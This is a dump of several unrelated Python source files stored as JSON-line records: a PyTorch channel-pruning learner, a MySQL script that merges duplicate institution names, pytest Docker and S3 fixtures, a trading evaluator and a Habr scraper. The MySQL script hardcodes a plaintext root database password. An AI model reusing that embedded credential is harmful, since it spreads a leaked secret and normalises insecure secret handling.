train_entropy = self.epoch(True)\n\n if self.lr_scheduler:\n self.lr_scheduler.step()\n\n # evaluate every k step\n if (epoch+1) % self.args.eval_epoch == 0:\n logging.info(\"Evaluation at Epoch: %d\" % epoch)\n self.evaluate(True, epoch)\n\n torch.save(self.model.state_dict(), self.save_path)\n logging.info(\"Model stored at: \" + self.save_path)\n\n def evaluate(self, is_train=False, epoch=None):\n self.switch_mode('eval')\n if not is_train:\n self.model.load_state_dict(torch.load(self.load_path))\n\n test_acc, test_entropy = self.epoch(False)\n return test_acc, test_entropy\n\n def finetune(self):\n self.model.load_state_dict(torch.load(self.load_path))\n self.evaluate(True, None)\n\n self.params = [w for w in self.model.parameters()]\n self.__layerwise_prune()\n\n # calc sparsity\n self.mask_list = self.__remove_rest_params()\n layerwise_spars, overall_spars = calc_model_sparsity(self.model)\n print('layerwise sparsity', layerwise_spars)\n print('overall sparsity: %.4f' % overall_spars)\n torch.save(self.model.state_dict(), self.save_path_pruned)\n logging.info(\"Just pruned model saved at %s\" % self.save_path_pruned)\n\n test_acc, _ = self.evaluate(True, None)\n\n logging.info(\"Model restored from %s, start channel pruning with finetuning...\" % (self.load_path))\n for epoch in range(self.args.epochs):\n self.switch_mode('train')\n\n logging.info(\"Finetune at Epoch: %d\" % epoch)\n ft_err, ft_entropy = self.epoch(True)\n\n # NOTE: stop lr decaying\n if self.lr_scheduler:\n self.lr_scheduler.step()\n\n # evaluate every k step\n if (epoch+1) % self.args.eval_epoch == 0:\n logging.info(\"Evaluation at Epoch: %d\" % epoch)\n test_acc, _ = self.evaluate(True, epoch)\n\n torch.save(self.model.state_dict(), self.save_path)\n logging.info(\"Model stored at: \" + self.save_path)\n\n layerwise_spars, overall_spars = calc_model_sparsity(self.model)\n print('layerwise sparsity', layerwise_spars)\n print('overall sparsity: %.4f' % overall_spars)\n\n def epoch(self, is_train):\n \"\"\" Rewrite this function if necessary in the sub-classes. \"\"\"\n\n loader = self.train_loader if is_train else self.test_loader\n\n # setup statistics\n batch_time = AverageMeter('Time', ':3.3f')\n # data_time = AverageMeter('Data', ':6.3f')\n losses = AverageMeter('Loss', ':.4e')\n top1 = AverageMeter('Acc@1', ':3.3f')\n top5 = AverageMeter('Acc@5', ':3.3f')\n metrics = [batch_time, top1, top5, losses]\n\n if self.args.use_kd:\n kd_losses = AverageMeter('KD Loss:', ':4e')\n metrics.append(kd_losses)\n\n loader_len = int(self.args.num_data / self.args.batch_size)+1 if is_train and self.args.use_few_data else len(loader)\n\n progress = ProgressMeter(loader_len, *metrics, prefix='Job id: %s, ' % self.args.job_id)\n end = time.time()\n\n for idx, (X, y) in enumerate(loader):\n\n # data_time.update(time.time() - end)\n X, y = X.to(self.device), y.to(self.device)\n yp = self.model(X)\n loss = nn.CrossEntropyLoss()(yp, y)\n\n if is_train and self.args.use_kd:\n kd_loss = self.args.kd_regu * get_distillation_loss(self.model, self.teacher_model, X, self.args.kd_temp, self.args.kd_type)\n loss += kd_loss\n kd_losses.update(kd_loss.item(), X.shape[0])\n\n acc1, acc5 = accuracy(yp, y, topk=(1, 5))\n top1.update(acc1[0], X.shape[0])\n top5.update(acc5[0], X.shape[0])\n losses.update(loss.item(), X.shape[0])\n\n if is_train:\n self.__optimize(loss)\n\n batch_time.update(time.time() - end)\n end = time.time()\n\n # show the training/evaluating statistics\n if (idx % self.args.print_freq == 0) or (idx+1) % (loader_len) == 0:\n progress.show(idx)\n\n if self.args.use_few_data and is_train and (idx+1) == loader_len:\n # Stop infinite loop\n break\n\n return top1.avg, losses.avg\n\n def __optimize(self, loss):\n \"\"\" A single updt step \"\"\"\n self.opt.zero_grad()\n loss.backward()\n self.__mask_grad()\n self.opt.step()\n\n def __mask_grad(self):\n # TODO: mask the BN params\n mask_idx = 0\n for m in self.model.modules():\n if isinstance(m, nn.Conv2d):\n if m.kernel_size == (1, 1):\n continue\n\n m.weight.grad.data *= self.mask_list[mask_idx]\n mask_idx += 1\n\n def __layerwise_val_loss(self, l_prnd, l_full):\n nb_epochs = len(self.test_loader) - 1\n loss_list = []\n self.iter_test_loader = iter(self.test_loader)\n for i in range(nb_epochs):\n Xs, Ys, Xt, Yt = self.__get_4D_input_output(l_prnd, l_full, is_train=False)\n n, co, h, w = Ys.shape\n loss = criterion_L2(Ys, Yt)/(n*co*h*w)\n loss_list.append(loss.item())\n print(\"The averaged validation loss: %.8f\" % (sum(loss_list)/nb_epochs))\n\n def __remove_rest_params(self, verbose=True):\n \"\"\" After in-channel pruning, we can safely remove the redundant out channels and bn params that are useless for the next layer.\n This operation should not influence the performance.\n The evaluation acc is the same before and after this function. Check passed.\n \"\"\"\n conv_layer_id = 0\n final_mask_list = []\n for m in self.model.modules():\n if isinstance(m, nn.Conv2d):\n\n if m.kernel_size == (1, 1):\n # skip the downsample layers\n continue\n\n W = m.weight\n if conv_layer_id < len(self.mask_list) - 1:\n mask_in = torch.zeros_like(W).to(self.device)\n mask_out = torch.zeros_like(W).to(self.device)\n nzero_in = self.mask_list[conv_layer_id].sum(dim=0)[:, 0, 0].nonzero().squeeze()\n nzero_out = self.mask_list[conv_layer_id+1].sum(dim=0)[:, 0, 0].nonzero().squeeze()\n mask_in[:, nzero_in, :] += 1\n mask_out[nzero_out, :] += 1\n mask = mask_in * mask_out\n\n W.data *= mask\n final_mask_list.append(mask)\n conv_layer_id += 1\n\n if verbose:\n print(\"removing out_channels for kernels:\", W.shape)\n else:\n assert conv_layer_id == len(self.mask_list) - 1\n final_mask_list.append(self.mask_list[conv_layer_id])\n\n elif isinstance(m, nn.BatchNorm2d) and conv_layer_id < len(self.mask_list) - 1:\n # NOTE: in the last conv layer, do not turn off the BN params since\n # cout is not changed.\n gamma, beta = m.weight, m.bias\n mean, std = m.running_mean, m.running_var\n mask = self.mask_list[conv_layer_id].sum(dim=0)[:, 0, 0]\n mask = mask / mask.max()\n gamma.data *= mask\n beta.data *= mask\n mean.data *= mask\n std.data *= mask\n\n print(\"Remove rest out channels done\")\n return final_mask_list\n\n def __layerwise_prune(self):\n \"\"\" perform layerwise regression + cross distillation. After pruning, the 'removed channels' are set to 0s\n Return:\n mask_list: the mask of channels for pruned layers. For gradient masking in finetuning.\n \"\"\"\n\n self.mask_list = []\n self.cfgs = self.__get_cfgs()\n conv_layer_id = 0\n\n for idx, (l_prnd, l_full) in enumerate(zip(self.model.modules(), self.teacher_model.modules())):\n\n if self.__check_prunable(l_prnd, l_full):\n\n # TODO: at least for resnet, eval is better than train.\n if self.args.model_type.startswith('resnet'):\n self.model.eval()\n self.teacher_model.eval()\n else:\n self.model.train()\n self.teacher_model.train()\n\n conv_layer_id = conv_layer_id + 1 if self.cfgs[conv_layer_id] == 'M' else conv_layer_id\n assert l_prnd.in_channels >= self.cfgs[conv_layer_id], \"in channels %d smaller than %d\" % (l_prnd.in_channels, self.cfgs[conv_layer_id])\n\n if is_first_layer(l_prnd) and not self.args.prune_first_layer:\n # skip the first layer\n mask = torch.ones_like(l_prnd.weight)\n else:\n print(\"channel pruning for layer \", l_prnd)\n mask = self.__solve_lst_pgd(l_prnd, l_full, conv_layer_id)\n # self.__layerwise_val_loss(l_prnd, l_full)\n\n self.mask_list.append(mask)\n print(\"channel pruning done for layer:\", l_prnd)\n conv_layer_id += 1\n\n # if (conv_layer_id+1) % 8 == 0:\n # self.evaluate(True, None)\n\n # assert conv_layer_id == len(self.cfgs), 'some cfg are not used!'\n\n def __solve_lst_pgd(self, l_prnd, l_full, conv_layer_id, verbose=True):\n \"\"\" Solve the least sqaure problem with proximal gradient descent,\n and prune the coresponding weights to 0s.\n\n Inputs:\n X, Y: tensors of input and output, in 4-D shape;\n l_prnd: the conv layer of student model\n verbose: True if print info.\n Return:\n mask: a tensor, shape: [cin * k * k], the mask on cols.\n \"\"\"\n def proximal_map(W, num_left):\n norms = torch.norm(W.permute(1,0,2,3).contiguous().view(ci, -1), p=2, dim=1)\n thresh = torch.topk(norms, k=num_left)[0][-1] #(values, indices)\n for i in range(ci):\n norm = torch.norm(W.data[:, i, :]/thresh, p=2)\n W.data[:, i, :] = W.data[:, i, :] if norm.item() >= 1 else torch.zeros(co,k,k).to(self.device)\n\n def mask_grad(opt, weight, mask):\n weight.grad.data *= mask\n if len(opt.state[weight].keys()) > 0:\n opt.state[weight]['exp_avg'] *= mask\n opt.state[weight]['exp_avg_sq'] *= mask\n\n cfg = self.cfgs[conv_layer_id]\n Xs, Ys, Xt, Yt = self.__get_4D_input_output(l_prnd, l_full)\n l_prnd_copy = copy.deepcopy(l_prnd)\n l_full_copy = copy.deepcopy(l_full)\n weight = l_prnd_copy.weight\n n, co, h, w = Yt.shape\n _, ci, k, k = weight.shape\n\n # initial configurations\n # for VGG-16 cifar: 5e-4 1000 iters; For Resnet-56, 1e-5, 2000 iters\n lr = self.args.pgd_lr\n nb_iters = self.args.pgd_iters\n\n opt = optim.Adam([weight], lr=lr)\n channels_left_prev = ci\n mask = torch.ones_like(weight).to(self.device)\n\n for i in range(nb_iters):\n\n if self.args.num_data > self.args.batch_size or not self.args.use_few_data:\n # cannot load the data in one batch\n Xs, _, Xt, _ = self.__get_4D_input_output(l_prnd, l_full)\n\n Yst = l_full_copy(Xs)\n Yts = l_prnd_copy(Xt)\n Ytt = l_full_copy(Xt)\n Yss = l_prnd_copy(Xs)\n\n if self.args.use_cvx:\n Lc = criterion_L2(Yts, Ytt) / (n*co*h*w)\n Li = criterion_L2(Yst, Yss) / (n*co*h*w)\n loss = self.args.mu * Lc + (1. - self.args.mu) * Li\n else:\n loss = criterion_L2(Yss, Ytt) / (n*co*h*w)\n\n # gradient descent step\n opt.zero_grad()\n loss.backward()\n mask_grad(opt, weight, mask)\n opt.step()\n\n # proximal step\n if i <= (nb_iters // 3) and not self.args.pgd_once:\n channels_left = int((ci - cfg) * float((nb_iters/3 - i) / (nb_iters/3))) + cfg\n if channels_left < channels_left_prev:\n proximal_map(weight, channels_left)\n channels_left_prev = channels_left\n nzero_idx = weight.sum(dim=0)[:, 0, 0].nonzero().squeeze()\n mask.zero_()\n mask[:, nzero_idx, :, :] += 1\n\n elif i == 0 and self.args.pgd_once:\n channels_left = cfg\n proximal_map(weight, channels_left)\n nzero_idx = weight.sum(dim=0)[:, 0, 0].nonzero().squeeze()\n mask = torch.zeros_like(weight).to(self.device)\n mask[:, nzero_idx, :, :] += 1\n\n else:\n for param in opt.param_groups:\n param['lr'] = lr * 1e-1\n\n if (i) % (nb_iters//5 - 1) == 0 and verbose:\n print(\"Iter:%d, channels_left: %d, lr:%.6f, loss:%.8f\" % \\\n (i+1, channels_left, lr, loss.item()))\n\n # assign the value back\n l_prnd.weight.data = weight\n return mask\n\n def __get_4D_input_output(self, l_prnd, l_full, is_train=True):\n \"\"\" For pgd solver\n Return:\n x_prnd: a 4-D tensor of the (l-1)'s student feature map\n y_full: a 4-D tensor of l's teacehr feature map\n \"\"\"\n # NOTE: remember to detach the variables from the autograd graph, only\n # solve the current layer\n def get_hidden_prnd(module, input_, output_):\n pair_prnd.append((input_[0].detach(), output_.detach()))\n\n def get_hidden_full(module, input_, output_):\n pair_full.append((input_[0].detach(), output_.detach()))\n\n loader = self.train_loader if is_train else self.iter_test_loader\n # add the hooks\n hook_prnd = l_prnd.register_forward_hook(get_hidden_prnd)\n hook_full = l_full.register_forward_hook(get_hidden_full)\n\n pair_prnd = []\n pair_full = []\n\n assert self.args.use_few_data\n x, t = next(loader)\n if self.args.further_augment:\n x, t = augment_mixup(x, t, folds=self.args.augment_folds)\n # x, _ = augment_gaussian(x, t, folds=10)\n # x, _ = augment_repeat(loader, self.args.data_aug, folds=self.args.augment_folds)\n\n self.model(x)\n self.teacher_model(x)\n\n x_prnd, y_prnd = pair_prnd[0]\n x_full, y_full = pair_full[0]\n\n # remove the hooks\n hook_prnd.remove()\n hook_full.remove()\n return x_prnd, y_prnd, x_full, y_full\n\n def __check_prunable(self, l_prnd, l_full):\n if isinstance(l_prnd, nn.Conv2d) and isinstance(l_full, nn.Conv2d):\n if l_prnd.kernel_size == (1, 1):\n return False\n else:\n return True\n else:\n return False\n\n def __get_cfgs(self):\n \"\"\" Note that the cfgs are the number of in_channels in each conv layer \"\"\"\n if self.args.model_type.startswith('vgg_16') and self.args.dataset == 'cifar10':\n # default = [64, 64, 'M', 128, 128, 'M', 256, 256, 256, 'M', 512, 512, 512, 'M', 512, 512, 512] out channels\n cfg_0 = [3, 64, 'M', 64, 128, 'M', 128, 256, 256, 'M', 256, 512, 512, 'M', 512, 512, 512]\n cfg_same = [int(c * self.args.target_ratio) if c != 'M' else c for c in cfg_0]\n cfg_A = [3, 32, 'M', 64, 128, 'M', 128, 256, 256, 'M', 256, 256, 256, 'M', 256, 256, 256]\n cfg_B = [3, 26, 'M', 52, 103, 'M', 103, 205, 205, 'M', 205, 205, 256, 'M', 205, 205, 205]\n cfg_C = [3, 26, 'M', 32, 64, 'M', 64, 128, 128, 'M', 128, 128, 128, 'M', 205, 205, 205]\n return cfg_same\n\n elif self.args.model_type.startswith('vgg_19') and self.args.dataset == 'ilsvrc_12':\n # defaul [64, 64, 'M', 128, 128, 'M', 256, 256, 256, 256, 'M', 512, 512, 512, 512, 'M', 512, 512, 512, 512, 'M'],\n cfg_0 = [3, 64, 'M', 64, 128, 'M', 128, 256, 256, 256, 'M', 256, 512, 512, 512, 'M', 512, 512, 512, 512, 'M']\n cfg_same = [int(c * self.args.target_ratio) if c != 'M' else c for c in cfg_0]\n return cfg_same\n\n elif self.args.model_type.startswith('vgg_16') and self.args.dataset == 'ilsvrc_12':\n cfg_0 = [3, 64, 'M', 64, 128, 'M', 128, 256, 256, 'M', 256, 512, 512, 'M', 512, 512, 512]\n cfg_same = [int(c * self.args.target_ratio) if c != 'M' else c for c in cfg_0]\n cfg_2x = [3, 35, 'M', 35, 70, 'M', 70, 140, 140, 'M', 140, 422, 422, 'M', 422, 512, 512]\n cfg_4x = [3, 24, 'M', 26, 41, 'M', 58, 108, 108, 'M', 128, 184, 276, 'M', 276, 512, 512]\n cfg_5x = [3, 24, 'M', 22, 41, 'M', 51, 108, 89, 'M', 111, 184, 276, 'M', 228, 512, 512]\n return cfg_4x\n\n elif self.args.model_type.startswith('resnet_56') and self.args.dataset == 'cifar10':\n skip = [0, 16, 20, 38, 54]\n # target_ratios = [0.25, 0.5, 0.7]\n target_ratios = [self.args.target_ratio] * 3\n layer_id = 0\n cfg_skip = []\n for m in self.model.modules():\n if isinstance(m, nn.Conv2d):\n in_channels = m.in_channels\n if layer_id % 2 == 0 and layer_id not in skip:\n if layer_id <= 18:\n stage = 0\n elif layer_id <= 36:\n stage = 1\n else:\n stage = 2\n cfg_skip.append(int(target_ratios[stage]*in_channels)+1)\n layer_id += 1\n continue\n else:\n cfg_skip.append(in_channels)\n layer_id += 1\n return cfg_skip\n\n elif self.args.model_type.startswith('resnet_34') and self.args.dataset == 'ilsvrc_12':\n skip = [0, 6, 12, 14, 24]\n target_ratios = [self.args.target_ratio]*3 + [1.]\n layer_id = 0\n cfg_skip = []\n for m in self.model.modules():\n if isinstance(m, nn.Conv2d):\n\n if m.kernel_size == (1,1):\n continue\n\n in_channels = m.in_channels\n if layer_id % 2 == 0 and layer_id not in skip:\n if layer_id <= 6:\n stage = 0\n elif layer_id <= 12:\n stage = 1\n elif layer_id <= 24:\n stage = 2\n else:\n stage = 3\n num_channels_left = int(target_ratios[stage]*in_channels)\n cfg_skip.append(num_channels_left)\n print(\"%d channels left for module\" % num_channels_left, m)\n layer_id += 1\n else:\n cfg_skip.append(in_channels)\n layer_id += 1\n return cfg_skip\n else:\n raise NotImplementedError\n\n","repo_name":"haolibai/Cross-Distillation","sub_path":"learners/chnl_learner.py","file_name":"chnl_learner.py","file_ext":"py","file_size_in_byte":17952,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"60"} +{"seq_id":"1141317527","text":"import mysql.connector as mysql\nfrom fuzzywuzzy import fuzz\n\ndef clear_prefix(res):\n res = res.replace('город', '')\n res = res.replace('Город', '')\n res = res.replace('г.', '')\n res = res.replace('Г.', '')\n\n res = res.replace('р.', '')\n res = res.replace('Р.', '')\n\n res = res.replace('село', '')\n res = res.replace('Cело', '')\n res = res.replace('с.', '')\n res = res.replace('С.', '')\n\n res = res.replace('п.', '')\n res = res.replace('П.', '')\n return res\n\ndef number_eq(x, y):\n tmp = [\"\"] * 2\n for it in range(2):\n for ch in x:\n if (ch >= '0' and ch <= '9'):\n tmp[it] = tmp[it] + ch\n x, y = y, x\n return tmp[0] == tmp[1]\n\ncities = {}\ncity_names = []\n\ndef init():\n db = mysql.connect(\n host = \"localhost\",\n user = \"root\",\n passwd = \"(S#,c}pQvr5XY8jE\",\n database = \"inno\"\n )\n\n cursor = db.cursor()\n cursor.execute(\"SELECT * FROM institution\")\n\n\n rows = cursor.fetchall()\n\n for row in rows:\n if (row == None):\n continue\n arr_row = list(row)\n arr_row[2] = clear_prefix(arr_row[2])\n\n if arr_row[2][0] == ' ':\n arr_row[2] = arr_row[2][1:]\n if arr_row[2][0].isalpha():\n arr_row[2] = arr_row[2].capitalize()\n if (arr_row[2] in cities):\n cities[arr_row[2]].append(arr_row)\n else:\n city_names.append(arr_row[2])\n cities[arr_row[2]] = [arr_row]\n\n\ndef clear_city():\n db = mysql.connect(\n host = \"localhost\",\n user = \"root\",\n passwd = \"\",\n database = \"countryDB\"\n )\n cursor = db.cursor()\n cursor.execute(\"SELECT * FROM city\")\n rows = cursor.fetchall()\n\n for i in range(len(city_names)):\n city = city_names[i]\n mx = 0\n name = \"\"\n for j in rows:\n if (mx <= fuzz.ratio(j[2].lower(), city.lower())):\n mx = fuzz.ratio(j[2].lower(), city.lower())\n name = j[2]\n if (mx >= 85):\n print(i, city, \"--->\", name, mx)\n tmp = cities[city]\n del cities[city]\n if (name in cities):\n cities[name] += tmp\n else:\n cities[name] = tmp\n else:\n del cities[city]\n print(i, city, \"====/====\", name, mx)\n\n\ninit()\nclear_city()\n\nok = 0\nfor city in cities:\n mn = 0\n while True:\n ok = 0\n tmp = (\"\", \"\", \"\")\n for k1 in range(0, len(cities[city])):\n for k2 in range(0, len(cities[city])):\n i = cities[city][k1]\n j = cities[city][k2]\n if (k1 != k2 and fuzz.ratio(str(i[1]).lower(), str(j[1]).lower()) >= 60 and number_eq(i[1], j[1])):\n if not ok:\n mn = k1\n ok = 1\n if (len(tmp[1]) < len(i[1])):\n tmp = i\n if (len(tmp[1]) < len(j[1])):\n tmp = j\n #print(i[1], j[1])\n if (ok):\n break\n if (not ok):\n break\n print(tmp[1])\n toremove = []\n for i in cities[city]:\n if (fuzz.ratio(i[1].lower(), tmp[1].lower()) >= 60 and number_eq(tmp[1], i[1])):\n toremove.append(i)\n for elem in toremove:\n print(elem)\n cities[city].remove(elem)\n print(\"\\n\")\n print()\n print(\"{}%\".format(int(1.0 * mn / (len(cities[city])+1) * 100)))\n cities[city].append(tmp)\n\nf = open(\"output.sql\", \"w\")\nid = 1\ndb = mysql.connect(\n host = \"localhost\",\n user = \"root\",\n passwd = \"\",\n database = \"output\"\n)\ncursor = db.cursor()\n\nfor city in cities:\n for i in cities[city]:\n i[1] = i[1].replace(\"\\'\", \"\\'\\'\")\n f.write(\"INSERT INTO institution (id, title, city) VALUES ({}, '{}', '{}');\\n\".format(id, i[1], city))\n\n sql = \"INSERT INTO institution (id, title, city) VALUES (%s, %s, %s);\"\n val = (id, i[1], city)\n cursor.execute(sql, val)\n id += 1\nf.close()\ndb.commit()\n","repo_name":"abdirakhman/Innopolis-Intern","sub_path":"ClearingDuplicates/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4140,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"} +{"seq_id":"12816194436","text":"import os\nimport socket\nimport time\nfrom contextlib import suppress\nfrom typing import Callable\n\nimport boto3\nimport pytest\nimport yaml\nfrom docker import APIClient\nfrom docker.tls import TLSConfig\nfrom slugify import slugify\nfrom yaml import Loader\n\nfixtures_dir = f\"{os.path.dirname(__file__)}/fixtures\"\n\n\n@pytest.fixture(scope=\"module\")\ndef path():\n def f(filename):\n return f\"{fixtures_dir}/{filename}\"\n\n return f\n\n\n@pytest.fixture\ndef ftp_path():\n ftp = os.getenv(\"FTP_PATH\")\n if not ftp:\n pytest.skip(\"'FTP_PATH' is not set\")\n return ftp\n\n\n@pytest.fixture(scope=\"module\")\ndef http_path():\n return (\n \"https://gist.githubusercontent.com/armgilles/\"\n \"194bcff35001e7eb53a2a8b441e8b2c6/raw/\"\n \"92200bc0a673d5ce2110aaad4544ed6c4010f687/pokemon.csv\"\n )\n\n\n@pytest.fixture(scope=\"session\")\ndef s3_container(service_container):\n def check(host_port):\n session = boto3.session.Session()\n s3_url = f\"http://localhost:{host_port}\"\n s3_client = session.client(\n service_name=\"s3\",\n aws_access_key_id=\"accessKey1\",\n aws_secret_access_key=\"verySecretKey1\",\n endpoint_url=s3_url,\n )\n s3_client.list_buckets()\n\n return service_container(\"s3\", check)\n\n\n@pytest.fixture(scope=\"session\")\ndef s3_endpoint_url(s3_container):\n session = boto3.session.Session()\n s3_url = f'http://localhost:{s3_container[\"port\"]}'\n s3_client = session.client(\n service_name=\"s3\",\n aws_access_key_id=\"accessKey1\",\n aws_secret_access_key=\"verySecretKey1\",\n endpoint_url=s3_url,\n )\n s3_client.create_bucket(Bucket=\"mybucket\")\n s3_client.upload_file(\"tests/fixtures/0_0.csv\", \"mybucket\", \"0_0.csv\")\n s3_client.upload_file(\"tests/fixtures/0_1.csv\", \"mybucket\", \"0_1.csv\")\n s3_client.upload_file(\"tests/fixtures/0_0.csv\", \"mybucket\", \"mydir/0_0.csv\")\n s3_client.upload_file(\"tests/fixtures/0_1.csv\", \"mybucket\", \"mydir/0_1.csv\")\n return s3_url\n\n\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~ DOCKER RELATED FIXTURES ~~~~~~~~~~~~~~~~~~~~~~~~~~\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\ndef pytest_addoption(parser):\n parser.addoption(\"--pull\", action=\"store_true\", default=False, help=\"Pull docker images\")\n\n\n@pytest.fixture(scope=\"session\")\ndef docker_pull(request):\n return request.config.getoption(\"--pull\")\n\n\n@pytest.fixture(scope=\"session\")\ndef docker():\n docker_kwargs = {\"version\": \"auto\"}\n if \"DOCKER_HOST\" in os.environ:\n docker_kwargs[\"base_url\"] = os.environ[\"DOCKER_HOST\"]\n if os.environ.get(\"DOCKER_TLS_VERIFY\", 0) == \"1\":\n docker_kwargs[\"tls\"] = TLSConfig(\n (\n f\"{os.environ['DOCKER_CERT_PATH']}/cert.pem\",\n f\"{os.environ['DOCKER_CERT_PATH']}/key.pem\",\n )\n )\n return APIClient(**docker_kwargs)\n\n\n@pytest.fixture(scope=\"session\")\ndef unused_port():\n def f():\n with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n s.bind((\"127.0.0.1\", 0))\n return s.getsockname()[1]\n\n return f\n\n\ndef wait_for_container(\n checker_callable: Callable[[int], bool],\n host_port: int,\n image: str,\n skip_exception: type[Exception] | None = None,\n timeout: int = 60,\n) -> None:\n skip_exception = skip_exception or Exception\n for i in range(timeout):\n try:\n checker_callable(host_port)\n break\n except skip_exception as e:\n print(f\"Waiting for image to start...(last exception: {e})\")\n time.sleep(1)\n else:\n pytest.fail(f\"Cannot start {image} server\")\n\n\n@pytest.fixture(scope=\"session\")\ndef container_starter(request, docker, docker_pull):\n def f(\n image,\n internal_port,\n host_port,\n env=None,\n volumes=None,\n command=None,\n checker_callable=None,\n skip_exception=None,\n timeout=None,\n ):\n if docker_pull:\n print(f\"Pulling {image} image\")\n docker.pull(image)\n\n host_config = docker.create_host_config(\n port_bindings={internal_port: host_port}, binds=volumes\n )\n\n if volumes is not None:\n volumes = [vol.split(\":\")[1] for vol in volumes]\n\n container_name = \"-\".join([\"toucan\", slugify(image), \"server\"])\n print(f\"Creating {container_name} on port {host_port}\")\n container = docker.create_container(\n image=image,\n name=container_name,\n ports=[internal_port],\n detach=True,\n environment=env,\n volumes=volumes,\n command=command,\n host_config=host_config,\n )\n\n print(f\"Starting {container_name}\")\n docker.start(container=container[\"Id\"])\n\n def fin():\n print(f\"Stopping {container_name}\")\n docker.kill(container=container[\"Id\"])\n print(f\"Killing {container_name}\")\n with suppress(Exception):\n docker.remove_container(container[\"Id\"], v=True)\n\n request.addfinalizer(fin)\n container[\"port\"] = host_port\n\n if checker_callable is not None:\n wait_for_container(checker_callable, host_port, image, skip_exception, timeout)\n return container\n\n return f\n\n\n@pytest.fixture(scope=\"session\")\ndef service_container(unused_port, container_starter):\n def f(service_name, checker_callable=None, skip_exception=None, timeout=60):\n with open(f\"{os.path.dirname(__file__)}/docker-compose.yml\") as docker_comppse_yml:\n docker_conf = yaml.load(docker_comppse_yml, Loader=Loader)\n service_conf = docker_conf[service_name]\n volumes = service_conf.get(\"volumes\")\n if volumes is not None:\n volumes = [os.path.join(os.path.dirname(__file__), vol) for vol in volumes]\n params = {\n \"image\": service_conf[\"image\"],\n \"internal_port\": service_conf[\"ports\"][0].split(\":\")[0],\n \"host_port\": unused_port(),\n \"env\": service_conf.get(\"environment\"),\n \"volumes\": volumes,\n \"command\": service_conf.get(\"command\"),\n \"timeout\": timeout,\n \"checker_callable\": checker_callable,\n \"skip_exception\": skip_exception,\n }\n return container_starter(**params)\n\n return f\n","repo_name":"ToucanToco/peakina","sub_path":"tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":6444,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"60"} +{"seq_id":"29029421614","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jun 24 18:59:19 2021\n\n@author: rodin\n\"\"\"\n\ndef add(A, B): \n C = A + B \n return C \n\n\n\na = 3 \nb = 2 \nprint(add(a, b)) \nprint(add(2*a, b+1)*3)","repo_name":"Rodi-Filipe/scipro-primer","sub_path":"funcif/explain_func.py","file_name":"explain_func.py","file_ext":"py","file_size_in_byte":187,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"14562760484","text":"import csv\nimport matplotlib.pyplot as plt\n\nclass QhEvaluator(object):\n def __init__(self):\n self.name = 'QhEvaluator'\n \n def draw_cumulative_returns(self):\n '''\n 绘制收益率曲线\n @version v0.0.1 闫涛 2019-04-04\n '''\n with open('out/tradelog_2019-04-04.csv', 'r', newline='') as fd:\n rows = csv.reader(fd, delimiter=',', quotechar='|')\n prices = []\n crs = []\n x = []\n next(fd)\n for row in rows:\n if len(row) > 0 and 'SPY'==row[1] and 'BOT'==row[2]:\n prices.append(float(row[5]))\n \n for idx in range(1, len(prices)):\n crs.append((prices[idx] - prices[idx-1])/prices[idx-1] + 1)\n x.append(idx-1)\n #print('{0}: {1} - {2} / {3}'.format(idx, prices[idx], prices[idx-1], prices[idx-1]))\n \n for cr in crs:\n print('return: {0}!'.format(cr))\n \n fig, ax = plt.subplots()\n ax.plot(x, crs)\n plt.show()\n ","repo_name":"yt7589/aqp","sub_path":"app/qh/qh_evaluator.py","file_name":"qh_evaluator.py","file_ext":"py","file_size_in_byte":1118,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"23982158640","text":"import asyncio\nfrom collections import namedtuple\nfrom datetime import datetime, timedelta\nfrom typing import List, Tuple, Union\nimport locale\n\nimport aiohttp\nfrom bs4 import BeautifulSoup\nfrom logger import logger\n\nURL = 'https://habr.com/ru/hub/{}/'\n\narticle = namedtuple('Post', ['header', 'date', 'link'])\n\n\nasync def get_content(url: str, session: aiohttp.ClientSession) -> str:\n async with session.get(url) as resp:\n data = await resp.read()\n logger.info(f'load {url} successfully')\n return data\n\n\nasync def get_links(habs: List[str]) -> List[Tuple[str, str, str]]:\n tasks = []\n\n async with aiohttp.ClientSession() as session:\n for hub in habs:\n hub_url = URL.format(hub)\n task = asyncio.create_task(get_content(hub_url, session))\n tasks.append(task)\n texts = await asyncio.gather(*tasks)\n\n sorted_links = []\n for text in texts:\n soup = BeautifulSoup(text, features=\"html.parser\")\n for i, j in zip(soup.find_all('a', 'post__title_link'), soup.find_all('span', 'post__time')):\n sorted_links.append((i.text, i.get('href'), j.text))\n\n return sorted_links\n\n\ndef post_date_evaluating(post: Tuple[str, str, str], last_update: datetime) -> Union[bool, article]:\n date, time = post[2].split(\" в \")\n hour, minute = time.split(\":\")\n result = datetime.now().replace(hour=int(hour), minute=int(minute), second=0)\n locale.setlocale(locale.LC_TIME, 'ru_RU.UTF-8')\n\n if date == 'вчера':\n result -= timedelta(days=1)\n elif date != 'сег��дня':\n target = datetime.strptime(date, \"%d %B %Y\")\n result = result.replace(year=target.year, month=target.month, day=target.day)\n\n return article(post[0], result, post[1]) if result > last_update else False\n","repo_name":"n-inferno/articles-bot","sub_path":"app/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":1801,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"15495873069","text":"\"\"\"\nCrie um programa que leia o ano de nascimento de sete pessoas.\nNo final, mostre quantas pessoas ainda não atingiram a maioridade e quantas já\nsão maiores\n\"\"\"\n\nfrom datetime import date\n\nnMaioridade = 0\nfor i in range(1, 3):\n ano = int(input('Digite o ano de seu nascimento: '))\n if date.today().year - ano < 18:\n nMaioridade += 